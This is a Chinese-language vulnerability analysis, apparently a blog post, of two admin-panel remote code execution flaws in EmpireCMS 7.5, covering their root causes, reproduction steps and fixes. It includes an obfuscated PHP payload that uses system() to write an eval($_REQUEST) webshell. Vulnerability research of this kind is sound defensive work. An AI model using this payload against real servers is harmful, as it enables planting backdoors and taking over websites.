帝国(EmpireCMS)7.5的两个后台RCE审计
字数 1218 2025-08-27 12:33:49
EmpireCMS 7.5 后台RCE漏洞分析与利用
漏洞概述
本文详细分析 EmpireCMS 7.5 版本中存在的两个后台RCE(远程代码执行)漏洞,包括漏洞原理、利用方式及修复方案。这两个漏洞都存在于后台管理功能中,允许攻击者在服务器上执行任意代码。
漏洞一:自定义页面功能RCE
漏洞位置
e/admin/ecmscom.php 文件中的 AddUserpage 函数
漏洞原理
-
漏洞触发流程:
- 后台增加自定义页面功能
- 程序会在根目录生成一个shell.php文件
- 访问该文件显示phpinfo()结果
-
关键函数分析:
RepPhpAspJspcode函数负责对输入内容进行过滤,但默认情况下$public_r[candocode]为null,导致过滤失效WriteFiletext函数没有任何过滤,直接写入文件内容
-
实际利用方式:
- 漏洞实际上是在
e/data/tmp目录下以模板文件形式写入webshell - 通过
ob_get_contents读取缓冲区输出,将结果写入根目录的shell.php - 这是一个表面上的getshell,实际上是RCE
- 漏洞实际上是在
漏洞复现步骤
- 访问后台自定义页面功能
- 提交恶意内容
- 系统会在根目录生成shell.php文件
- 访问该文件可看到执行结果
漏洞修复方案
设置 $public_r[candocode] 为true,启用内容过滤
漏洞二:后台模板功能RCE到Getshell
漏洞位置
e/admin/template/ListIndexpage.php 文件中的 AddIndexpage 函数
漏洞原理
-
漏洞触发流程:
- 后台增加首页模板方案
- 系统将模板内容存入数据库
- 启用方案时从数据库读取并执行
-
关键函数分析:
AddIndexpage函数将模板内容存入enewsindexpage表- 仅使用
eaddslashes2(内部调用addslashes)进行过滤,无法防御命令执行 NewsBq函数调用WriteFiletext写入文件并包含执行
-
利用方式:
- 使用复杂变量绕过addslashes限制
- 构造恶意代码存入数据库
- 启用方案时触发代码执行
漏洞复现步骤
- 构造payload:
<?php
$aa = base64_decode("ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA");
${(system)($aa)};
?>
(其中base64解码后为:echo '<?php eval($_REQUEST[hp]);'>shell.php)
- 在后台模板功能处提交payload
- 点击"启用此方案"
- 系统会在
e/admin/template/目录下生成shell.php
漏洞修复方案
在 eaddslashes2 函数中增加更严格的过滤机制
总结
这两个漏洞都源于对用户输入过滤不严,结合文件写入功能导致RCE。攻击者需要具备后台权限才能利用这些漏洞,但仍然对系统安全构成严重威胁。建议管理员及时更新系统或按照修复方案进行修补。